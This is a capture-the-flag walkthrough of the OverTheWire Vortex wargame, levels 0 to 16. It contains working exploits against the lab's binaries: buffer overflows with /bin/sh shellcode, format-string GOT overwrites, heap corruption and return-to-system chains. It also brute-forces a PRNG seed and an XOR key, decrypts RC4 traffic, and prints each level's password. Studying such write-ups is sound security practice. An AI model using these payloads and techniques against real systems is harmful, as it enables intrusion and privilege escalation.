Description:
The Vortex wargame is currently composed of 27 levels. Most files you need are in /vortex/.

Level 0 -> Level 1

Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.

Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)

I write a script to handle this challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket
import struct

HOST = 'vortex.labs.overthewire.org'
PORT = 5842

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(16)

#print(" ".join(c.encode('hex') for c in data))

nums = struct.unpack('<IIII', data)
total_num = 0
for n in nums:
	total_num += n
total_num = total_num % (256**4)
print(total_num)
ans = struct.pack('<I', total_num)

s.send(ans)
data = s.recv(128)
print(repr(data))
s.close()

First, it makes a connection and get 16 bytes for 4 unsigned integers. Later, it uses unpack to get those 4 numbers and add them together. We need to send back an unsigned integer, but the sum may overflow. To solve this problem, we need to let the sum mod 256^4.

After we pack and send it back, we can get the information 'Username: vortex1 Password: Gq#qu3bF3'.


Level 1 -> Level 2

We are looking for a specific value in ptr. You may need to consider how bash handles EOF.

Local Picture

If we can make ptr = 0xca ..., we can get the shell. Now the value of ptr is at buf + (sizeof(buf)/2), so need to minus (256+5) to get to esp+0x17, and if we give it \xca and any value to trigger default, we can get the shell.

By executing (python -c 'print("\\"*261+"\xca"+"A")') | /vortex/vortex1, we can get the shell and the flag 23anbT\rE.


Level 2 -> Level 3

Create a special tar file

Local Picture

It is a very simple tar function. But we need to be careful that it does not use option -P, so we cannot use absolute names in files.

1
2
3
4
5
cd /etc/vortex_pass
/vortex/vortex2 vortex3
cd /tmp/l3o
tar xvf /tmp/ownership.\$\$.tar
cat vortex3

And we can get the flag 64ncXTvx#.


Level 3 -> Level 4

This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.

NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. Lookup some information about this

Local Picture

If we look at the code, we can see that with 132 bytes paddings we can overwrite the value in lpp. Later, the address of buf will be stored in the space, which is content of lpp as address, and the space of that address’s content as address, and it will call exit(0).

Local Picture

Take a look at exit, it will jump to 0x8049734, if we can make its content to the address of our shellcode, we can get the shell and the flag.

We can execute /vortex/vortex3 $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80"+"A"*4+"\x12\x83\x04\x08")'). 0x8048312 will be stored in lpp, and the address 0x8048312 have the content 0x8049734, and the content in address 0x8049734 will be replaced by the address of buf.

And we can get the shell and the flag 2YmgK1=jw.


Level 4 -> Level 5

This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?

In this challenge, we can use format string vulnerability to modify GOT.

1
2
3
4
5
6
7
8
#include <stdlib.h>

int main(int argc, char **argv)
{
        if(argc) exit(0);
        printf(argv[3]);
        exit(EXIT_FAILURE);
}

Since argc needs to be 0, we need to use a C program as wrapper. exit is going to jump to the content in the address 0x0804a014. We need to modify its content.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include<unistd.h>
int main(){
    char* path="/vortex/vortex4";
    char* argv[]={
        NULL
    };
    char* envp[]={
        "\x14\xa0\x04\x08\x16\xa0\x04\x08\x90\x90\x90",
        "\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80",
        "%57244x%100$hn%8291x%101$hn"
    };
    execve(path, argv, envp);
}

Envp[0] contains the address we are going to modify, once two bytes, and it is at 0xffffdf90. When printf is executed, esp is at 0xffffde00, so the offset is 100 and 101. Envp[1] contains the shellcode. Envp[2] is going to be printed out by printf, and its the payload of our format string vulnerability. Our shellcode is at 0xffffdf9c, 57244 = 0xdf9c, 8291 = 0xffff-0xdf9c. At the end, we can have 0xffffdf9c in the address 0x0804a014.

And we can get the shell and the flag :4VtbC4lr.


Level 5 -> Level 6

A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.

This challenge is very simple, we only need to look at the main function.

Local Picture

It compares the result with md5 155fb95d04287b757c996d77b5ea51f7. We can go to some md5 cracking website and find the result rlTf6 immediately.

And we can get the shell and the flag *uy5qDRb2.


Level 6 -> Level 7

You must disassemble this level’s exploitable application in order to find the hole.

We can see that vortex6 keep exeucting execve("/vortex/vortex6", "/vortex/vortex6", 0). We use the following code to make a test.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include<unistd.h>

int main(){
    char* argv[]={
        "AAAA",
        "BBBB",
        "CCCC"
    };
    char* envp[]={
        "DDDD",
        "EEEE",
        "FFFF"
    };
    execve("/vortex/vortex6", argv, envp);
}

First, we find that it will compare DDDD with 0. If they are the same, it will execute printf and exit. If they are not, it will execute execve("AAAA", "AAAA", 0).

When we replace AAAA to /bin/sh, we can get the shell and the flag Y52jxHtt/.


Level 7 -> Level 8

This level requires CRC_32(argv[1], strlen(argv[1])) to be 0xe1ca95ee. You might need to extract the crc tables from the program.

Local Picture

In this challenge, with buffer overflow, we can get the shell easily. However, we need to pass the check of crc32.

From gdb, we know we need 74 bytes paddings and after we put the shellcode in the environment variable, its address is 0xffffdecc. So we can execute /vortex/vortex7 $(python -c 'print("A"*74+"\xcc\xde\xff\xff")'), but we cannot not get the shell yet. We got 0x4759f8c9, which is the crc32 value.

To change 0x4759f8c9 to 0xe1ca95ee, we can use the following trick.

Local Picture

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
CRC-32 Table

  00h   00000000 77073096 EE0E612C 990951BA
  04h   076DC419 706AF48F E963A535 9E6495A3
  08h   0EDB8832 79DCB8A4 E0D5E91E 97D2D988
  0Ch   09B64C2B 7EB17CBD E7B82D07 90BF1D91

  10h   1DB71064 6AB020F2 F3B97148 84BE41DE
  14h   1ADAD47D 6DDDE4EB F4D4B551 83D385C7
  18h   136C9856 646BA8C0 FD62F97A 8A65C9EC
  1Ch   14015C4F 63066CD9 FA0F3D63 8D080DF5

  20h   3B6E20C8 4C69105E D56041E4 A2677172
  24h   3C03E4D1 4B04D447 D20D85FD A50AB56B
  28h   35B5A8FA 42B2986C DBBBC9D6 ACBCF940
  2Ch   32D86CE3 45DF5C75 DCD60DCF ABD13D59

  30h   26D930AC 51DE003A C8D75180 BFD06116
  34h   21B4F4B5 56B3C423 CFBA9599 B8BDA50F
  38h   2802B89E 5F058808 C60CD9B2 B10BE924
  3Ch   2F6F7C87 58684C11 C1611DAB B6662D3D

  40h   76DC4190 01DB7106 98D220BC EFD5102A
  44h   71B18589 06B6B51F 9FBFE4A5 E8B8D433
  48h   7807C9A2 0F00F934 9609A88E E10E9818
  4Ch   7F6A0DBB 086D3D2D 91646C97 E6635C01

  50h   6B6B51F4 1C6C6162 856530D8 F262004E
  54h   6C0695ED 1B01A57B 8208F4C1 F50FC457
  58h   65B0D9C6 12B7E950 8BBEB8EA FCB9887C
  5Ch   62DD1DDF 15DA2D49 8CD37CF3 FBD44C65

  60h   4DB26158 3AB551CE A3BC0074 D4BB30E2
  64h   4ADFA541 3DD895D7 A4D1C46D D3D6F4FB
  68h   4369E96A 346ED9FC AD678846 DA60B8D0
  6Ch   44042D73 33031DE5 AA0A4C5F DD0D7CC9

  70h   5005713C 270241AA BE0B1010 C90C2086
  74h   5768B525 206F85B3 B966D409 CE61E49F
  78h   5EDEF90E 29D9C998 B0D09822 C7D7A8B4
  7Ch   59B33D17 2EB40D81 B7BD5C3B C0BA6CAD

  80h   EDB88320 9ABFB3B6 03B6E20C 74B1D29A
  84h   EAD54739 9DD277AF 04DB2615 73DC1683
  88h   E3630B12 94643B84 0D6D6A3E 7A6A5AA8
  8Ch   E40ECF0B 9309FF9D 0A00AE27 7D079EB1

  90h   F00F9344 8708A3D2 1E01F268 6906C2FE
  94h   F762575D 806567CB 196C3671 6E6B06E7
  98h   FED41B76 89D32BE0 10DA7A5A 67DD4ACC
  9Ch   F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5

  A0h   D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252
  A4h   D1BB67F1 A6BC5767 3FB506DD 48B2364B
  A8h   D80D2BDA AF0A1B4C 36034AF6 41047A60
  ACh   DF60EFC3 A867DF55 316E8EEF 4669BE79

  B0h   CB61B38C BC66831A 256FD2A0 5268E236
  B4h   CC0C7795 BB0B4703 220216B9 5505262F
  B8h   C5BA3BBE B2BD0B28 2BB45A92 5CB36A04
  BCh   C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D

  C0h   9B64C2B0 EC63F226 756AA39C 026D930A
  C4h   9C0906A9 EB0E363F 72076785 05005713
  C8h   95BF4A82 E2B87A14 7BB12BAE 0CB61B38
  CCh   92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21

  D0h   86D3D2D4 F1D4E242 68DDB3F8 1FDA836E
  D4h   81BE16CD F6B9265B 6FB077E1 18B74777
  D8h   88085AE6 FF0F6A70 66063BCA 11010B5C
  DCh   8F659EFF F862AE69 616BFFD3 166CCF45

  E0h   A00AE278 D70DD2EE 4E048354 3903B3C2
  E4h   A7672661 D06016F7 4969474D 3E6E77DB
  E8h   AED16A4A D9D65ADC 40DF0B66 37D83BF0
  ECh   A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9

  F0h   BDBDF21C CABAC28A 53B39330 24B4A3A6
  F4h   BAD03605 CDD70693 54DE5729 23D967BF
  F8h   B3667A2E C4614AB8 5D681B02 2A6F2B94
  FCh   B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D

After using this technique, we can get the appending value 0x3da97bf1.

By executing /vortex/vortex7 $(python -c 'print("A"*74+"\xcc\xde\xff\xff"+"\x3d\xa9\x7b\xf1")'), we can get the shell and the flag X70A_gcgl.


Level 8 -> Level 9

Disassemble this dynamically linked executable.

If we decompile the program, we can get pseudocode as follows.

Local Picture

Local Picture

Local Picture

It creates a thread to execute safecode, drop the privilege, and executes unsafecode. We can do buffer overflow in unsafecode easily, but since it does not have priviledge, getting the shell is not an option.

What we can do is put our shellcode when executing strcpy, and jump back to the stack to execute it. For this shellcode, what it does is that it puts the address of our another shellcode, which is going to be stored in environment variable, to the address printf is going to jump to. In the privileged thread, when it executes printf, and we can get the shell.

First, we put our shellcode in the environment variable using export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")').

Local Picture

printf will jump to 0x804a00c, we can replace it with 0xffffdecc, which is where our shellcode is stored in the environment variable. We do it with assembly code.

1
2
3
4
5
6
7
section	.text
    global _start

_start:
    mov ecx, 0x804a00c
    mov ebx, 0xffffdecc
    mov [ecx], ebx

We use nasm -f elf pwn.asm, ld -m elf_i386 -s -o pwn pwn.o and objdump -d -M intel pwn to get our shellcode \xb9\x0c\xa0\x04\x08\xbb\xcc\xde\xff\xff\x89\x19.

Later, we find we need 1036 bytes paddings to trigger buffer overflow. When we execute /vortex/vortex8 $(python -c 'print("\x90"*16+"\xb9\x0c\xa0\x04\x08\xbb\xcc\xde\xff\xff\x89\x19" +"\xeb\xfe"+"A"*1006+"\x90\xce\xff\xff")'), we can get the shell.

The start of the stack is at 0xffffce90, when we return to it, the shellcode on the stack will modify the address in printf function, and we add \xeb\xfe in behind to create a self-loop because if the main thread dies, then the program will terminate, and we cannot get the shell from the child process.

We get the shell and the flag ci41)GJhb.


Level 9 -> Level 10

There is no information available for this level. Login to vortex.labs.overthewire.org and check it out.

When we login, we will see You have mail.. After checking /var/spool/mail, we can see that there is a file vortex9 in the directory, and it contains the password 5WT0}swdc.


Level 10 -> Level 11

Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this. You must login to vortex.labs.overthewire.org

If we decompile the program, we can get pseudocode as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
undefined4 main(void)
{
  clock_t clk;
  time_t magic2;
  int num;
  __uid_t __suid;
  __uid_t __euid;
  __uid_t __ruid;
  uint temp;
  uint ans;
  int i;
  int magic1;
  uint seed;
  tms t_buf;
  int buf [21];
  
  clk = times(&t_buf);
  magic1 = clk + t_buf.tms_cstime + t_buf.tms_utime + t_buf.tms_stime + t_buf.tms_cutime;
  clk = clock();
  magic1 = magic1 + clk;
  magic2 = time((time_t *)0);
  temp = (uint)(magic1 + magic2 >> 0x1f) >> 24;
  magic1 = 128 - ((magic1 + magic2 + temp & 0xff) - temp);
  magic2 = time((time_t *)0);
  seed = magic2 + magic1;
  srand(seed);
  setvbuf(stdout,(char *)0,2,0);
  i = 0;
  while (i < magic1) {
    rand();
    i = i + 1;
  }
  putchar('[');
  i = 0;
  while (i < 20) {
    num = rand();
    buf[i] = num;
    printf(" %08x,",buf[i]);
    i = i + 1;
  }
  puts("]");
  alarm(30);
  read(0,&ans,4);
  if (ans == seed) {
    __suid = geteuid();
    __euid = geteuid();
    __ruid = geteuid();
    setresuid(__ruid,__euid,__suid);
    execlp("/bin/sh","sh","-i",0);
  }
  else {
    puts("Nope, try again");
  }
  return 0;
}

First, we can create a C program to find the seed with brute force. We can find that magic1 is always between 100 and 400, and magic2 is the second passed from a fixed time, so if we execute the program right after /vortex/vortex10, we can get nearly the same magic2, add 5 seconds at most.

We create a program nearly the same as the pseudocode, except that we are not sure the real magic1 and magic2, so we give it a range to seed, from seed - 300 to seed + 5 + 300, which matches the restriction of magic1 and magic2.

Besides, since we can execute rand(), which is directly related to magic1, with no time gaps, we can give magic1 a range from 100 to 400.

seq_num1 and seq_num2 are the first and second number printed out from /vortex/vortex10.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/times.h>

int main(int argc, char* argv[]){
    clock_t clk;
    time_t magic2;
    uint temp;
    int magic1;
    uint seed;
    static struct tms t_buf;
    int num1, num2;
    int seed_tmp;
    int i, j;


    clk = times(&t_buf);
    magic1 = clk + t_buf.tms_cstime + t_buf.tms_utime + t_buf.tms_stime + t_buf.tms_cutime;
    clk = clock();
    magic1 = magic1 + clk;
    magic2 = time((time_t *)0);
    temp = (uint)(magic1 + magic2 >> 0x1f) >> 24;
    magic1 = 128 - ((magic1 + magic2 + temp & 0xff) - temp);
    magic2 = time((time_t *)0);
    seed = magic2 + magic1;

    //printf("magic1: %d, magic2: %ld, seed: %d\n", magic1, magic2, seed);
    int seq_num1 = strtol(argv[1], NULL, 16);
    int seq_num2 = strtol(argv[2], NULL, 16);

    for(seed_tmp = seed - 300; seed_tmp < seed + 5 + 300; ++seed_tmp){
        for(i = 100; i < 400; ++i){
            srand(seed_tmp);
            for(j = 0; j < i; ++j){
                rand();
            }
            num1 = rand();
            num2 = rand();
            if(num1 == seq_num1 && num2 == seq_num2){
                printf("Get it !!!\n");
                printf("Seed: %d\n", seed_tmp);
                return 0;
            }

        }
    }
}

Later, we can create a python program to wrap it up. We use it to execute /vortex/vortex10 and get the first and second number. We pass the data to another process /tmp/l3o/pwn, which is the C program provided above, to find the seed.

When we find the seed, we pack it in unsigned int, little endian, and send it pack to /vortex/vortex10, and finally, we can get the shell and the flag %8sLEszy9.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
import struct

p = process('/vortex/vortex10')
data = p.recvuntil(']')
print(data)
data = data[1:].replace(' ','').split(',')
num1 = data[0]
num2 = data[1]

p2 = process(['/tmp/l3o/pwn', num1, num2])
p2.recvline()
seed = p2.recvline()
seed = int(seed.split(' ')[1])

ans = struct.pack('<I', seed)
p.send(ans)
p.interactive()

Level 11 -> Level 12

You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.

Local Picture

We find that we can have 2052 bytes paddings in argv[1], after that, it will be a segmentation fault.

The reason is that the address stored in s, which is going to be the place to store argv[2], will be modified.

What we can do is that we can make that address to an ideal place, which is the address exit@plt is going to jump, and write the address of our shellcode in it.

Local Picture

First, we store our shellcode in the environment variable with export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")'), and the address is 0xffffdeca.

Besides, there is a gap between the address we give and the address going to store argv[2]. For example, when executing /vortex/vortex11 $(python -c 'print("A"*2052+"\xfc\xbf\x04\x08")') $(python -c 'print("BBBB")'), it will actually store BBBB in 0x804c03c, so we need to input 0x0804bfe8 to store the content in 0x0804c028.

Later, we can run /vortex/vortex11 $(python -c 'print("A"*2052+"\xe8\xbf\x04\x08")') $(python -c 'print("\xca\xde\xff\xff")') to get the shell and the flag. The content stored in 0x0804c028 will be changed to 0xffffdeca, which is where we put our shellcode.

We can get the flag nKV95q]dx.


Level 12 -> Level 13

Exploit this level knowing that the stack is not executable. You must login to vortex.labs.overthewire.org to complete this level..

If we decompile the program, we can find that pseudocode is exactly the same as Level 8 -> Level 9, but this time, the stack is not executable.

Local Picture

Local Picture

Local Picture

We can use strcpy to make printf jump to system, and create an executable called %d.

In this challenge, we need 1036 bytes paddings to control EIP. However, there is a problem, the address of strcpy contains \x00, so I cannot use it directly.

I execute $(python -c 'print("A"*1032+"\xe4\xd2\xff\xff"+"\xb1\x86\x04\x08" +"\x0c\xa0\x04\x08"+"\xe8\xd2\xff\xff"+"\xb0\x3e\xfc\xf7"+ "\xf4\xd2\xff\xff"+"\xf4\xd2\xff\xff"+"/bin/sh")') to get the password, let me explain how it works.

When the function unsafecode is finished, ebp will go to 0xffffd2e4, which is the address of hex string \xe8\xd2\xff\xff on the stack. EIP will go to 0x080486b1, which is the code in unsafecode to call strcpy. The destination will be 0x0804a00c, and it contains the address where printf is going to jump. The source will be 0xffffd2e8, which contains hex string \xb0\x3e\xfc\xf7, and it is the address of system. So the next time printf is executed, it will execute system("%d\n", 0). After strcpy, the parent process will go to "\xb0\x3e\xfc\xf7"+"\xf4\xd2\xff\xff"+"\xf4\xd2\xff\xff"+"/bin/sh", and will execute a shell because 0xf7fc3eb0 is the address of system and 0xffffd2f4 is the address of the string /bin/sh. We can spawn a shell to wait for the child process trigger our system call.

We create an executable named %d, and it will get password for us. Besides, we need to do export PATH="/tmp/l3o:$PATH" for system("%d\n", 0) to find our executable.

1
2
3
4
#/bin/sh

echo "Success"
cat /etc/vortex_pass/vortex13

So later we can get the password jMyg12=nB.


Level 13 -> Level 14

How big is your shellcode? This level has a non-executable stack. You must login to vortex.labs.overthewire.org to complete this level.

If we decompile the program, we can get pseudocode as follows.

Local Picture

Local Picture

The stack is not executable, and there are only 20 bytes for us to put on the stack. Moreover, in the main function, it erases all the environment variables, and we are not able to pass arguments when we run the program. Finally, in strchr, there is allowed, which contains ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 0123456789%.$\n. If one of our input character is not in this string, it will not execute printf, but exit directly. This challenge is really a difficult one.

However, I found that it actually put the program name /vortex/vortex13 on the bottom of the stack, it could be a chance by creating a symbolic link with an ideal name.

By creating a symbolic link with ln -s /vortex/vortex13 $(python -c 'print("\x48\xde\xff\xff"+"\x78\xde\xff\xff"+"\x70\x2e\xe6\xf7"+ "\xf5\xdf\xff\xff"+"\xf5\xdf\xff\xff"+"D"+"sh")') and using the following program, we can get the shell. I will explain how to do that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include<unistd.h>
int main(){
    char* path="\x48\xde\xff\xff""\x78\xde\xff\xff""\x70\x2e\xe6\xf7""\xf5\xdf\xff\xff""\xf5\xdf\xff\xff""D""sh";
    char* argv[]={
        NULL
    };
    char* envp[]={
        NULL
    };
    execve(path, argv, envp);
}

First, with this program, we can pass the restriction of argc = 0. The name of the file "\x48\xde\xff\xff"+"\x78\xde\xff\xff"+"\x70\x2e\xe6\xf7"+ "\xf5\xdf\xff\xff"+"\xf5\xdf\xff\xff"+"D"+"sh" will be put on the stack at 0xffffdfe0.

What we can do is to make ebp to 0xffffdfe4, and it contains 0xffffde78, which is the ebp address when executing main function. After vuln finished, eip will keep executing codes in the main function, and that is return. So, it will execute leave and ret, making ebp to 0xffffde78 and esp on 0xffffdfe8, and it contains 0xf7e62e70, which is the address of system. EIP will jump to it and take the content in address 0xffffdff5 as argument, which is sh, and we can get the shell.

When it comes to fgets in vuln, we need to put %57316x%112$hn to leverage the format string vulnerability. It changes the content in ebp, 0xffffde78, to 0xffffdfe4. 0xdfe4 is 57316, and when printf executes, esp is at 0xffffde20. (0xffffdfe0 - 0xffffde20) / 4 = 112, 0xffffdfe0 is used because it is the beginning of the filename, and it contains the address of ebp 0xffffde48, which is the place going to be modified.

Finally, we get the flag DL73}uzdh.


Level 14 -> Level 15

Based on something seen in the “real world”, it has weak encryption usage, used over a TCP/IP connection. This level requires you to apply some logic to the challenge at hand. You must login to vortex.labs.overthewire.org to complete this level.

The > indicates traffic “from the server, to the client”, and the < indicates traffic “from the client, to the server”.

If you need some hints, consider how you can divide and conquer the problem. For example, does it look like symmetric encryption, or asymmetric encryption? How can you further classify them?

After looking for some “weak” encryption algorithm used over TCP/IP connection, I found that it seems to be RC4.

It gives us this text file. Every traffic starts either using 0x3e or 0x3c, and they always ends with 0x0a.

The first traffic should be used to transfer the key, and the last two messages are encrypted by this key.

1
2
3
4
5
0000000: 3e20 7369 6c6c 796c 6576 656c 2d2d 50db  > sillylevel--P.
0000010: 5b09 6cce f698 0a3c 20fb 763e 64d3 7294  [.l....< .v>d.r.
0000020: 8fa6 a94d 43c8 a485 b809 c6c2 fa69 5196  ...MC........iQ.
0000030: 0a3e 20fb 763e 64d3 72ab bf93 8f64 21ae  .> .v>d.r....d!.
0000040: d8e3 be0a                                ....

The key should be the string behind 2d2d in the first message. I guess it’s \x50\xdb\x5b\x09\x6c\xce\xf6\x98. I use a python program to decrypt messages.

1
2
3
4
5
6
from arc4 import ARC4

key1 = ARC4('\x50\xdb\x5b\x09\x6c\xce\xf6\x98')
print(key1.decrypt('\xfb\x76\x3e\x64\xd3\x72\x94\x8f\xa6\xa9\x4d\x43\xc8\xa4\x85\xb8\x09\xc6\xc2\xfa\x69\x51\x96'))
key1 = ARC4('\x50\xdb\x5b\x09\x6c\xce\xf6\x98')
print(key1.decrypt('\xfb\x76\x3e\x64\xd3\x72\xab\xbf\x93\x8f\x64\x21\xae\xd8\xe3\xbe'))

key1 should be reassign when it is going to decrypt the second message because once the key is used with encryption or decryption, the key will change.

And we can get the flag 3J=oL5fce.

1
2
LOGIN level15:3J=oL5fce
LOGIN SUCCESSFUL

Level 15 -> Level 16

You have found an encrypted file, decrypt it (some reversing, crypt and general analysis needed, and if you’re lazy, the password is 8-bytes long and contains values between A and Z). You must login to vortex.labs.overthewire.org to complete this level.

We get two files, vortex15, which is a program for encrypting and decrypting, and vortex15.tar.Z.enc, which is a encrypted tar file.

If we decompile vortex15, we can get its pseudocode as follows.

Local Picture

We can see that it encrypts the data by giving it a bitwise not and xor with the key, and it can be recovered by giving the same key to the file encrypted.

We found that the first 3 byte of .tar.Z file is 0x1f 0x9d 0x90 from file signature, and if we do the bitwise not to the encryption data, the first 3 byte will be 0x45 0xcc 0xc3. That is, we can know the first 3 bytes of the key should be Z Q S because 0x45 ^ Z = 0x1f, and others are the same.

If we brute force right now, we still need to run with 5 unknown characters in keys, that is 11881376 combinations.

We can assume that the beginning of data in .tar.Z file are very similar. We can use tar and compress to make a test.tar.Z from vortex15, and assume the beginning of this file the same as the beginning of our targetted .tar.Z file.

We can use the following program to find the key.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import sys
import string


def find_possibility():
	l = []
	f1 = open("vortex15.tar.Z.enc", "rb")
	f2 = open("test.tar.Z", "rb")
	enc = f1.read(80)
	tar = f2.read(80)

	for i in range(3, 8):
		li = []
		for j in range(10):
			index = i + j * 8
			ch = ord(enc[index]) ^ (255 - ord(tar[index]))
			if ch >= ord('A') and ch <= ord('Z'):
				if chr(ch) not in li:
					li.append(chr(ch))
		l.append(li)
	f1.close()
	f2.close()
	return l

def get_key(l):
	key = "ZQS"
	for a in l[0]:
		for b in l[1]:
			for c in l[2]:
				for d in l[3]:
					for e in l[4]:
						key_tmp = key + a + b + c + d + e
						status = os.system("./vortex15 vortex15.tar.Z.enc %s | uncompress 2>/dev/null | file - | grep tar" % key_tmp)
						if status == 0:
							print("Get the key %s" % key_tmp)
							os.system("./vortex15 vortex15.tar.Z.enc %s | uncompress | tar xvf -" % key_tmp)
							sys.exit(0)


if __name__ == '__main__':
	l = find_possibility()
	get_key(l)

In function find_possibility, we assume that the first 80 bytes in .tar.Z will be the same. We can get the possible key sets of the fourth to eighth characters. We can get l = [['D', 'Q', 'M', 'C', 'R'], ['A', 'Q'], ['D'], ['C', 'B'], ['A', 'J', 'Z']]. Then, in get_key, we bruteforce with these key sets. This time, we only need to try 60 combinations.

Finally, we can get the key ZQSQADCA and congrats.txt.

1
2
3
4
5
6
7
8
How did you like that level? 

I'd like to thank all the commercial (and not) products which has given 
me ideas for levels because of some of the stuff they do.

This text is mainly just padding :)

The password is "oY7jl4Yh," .. enjoy :)

Level 16 -> Level 17

Not done yet.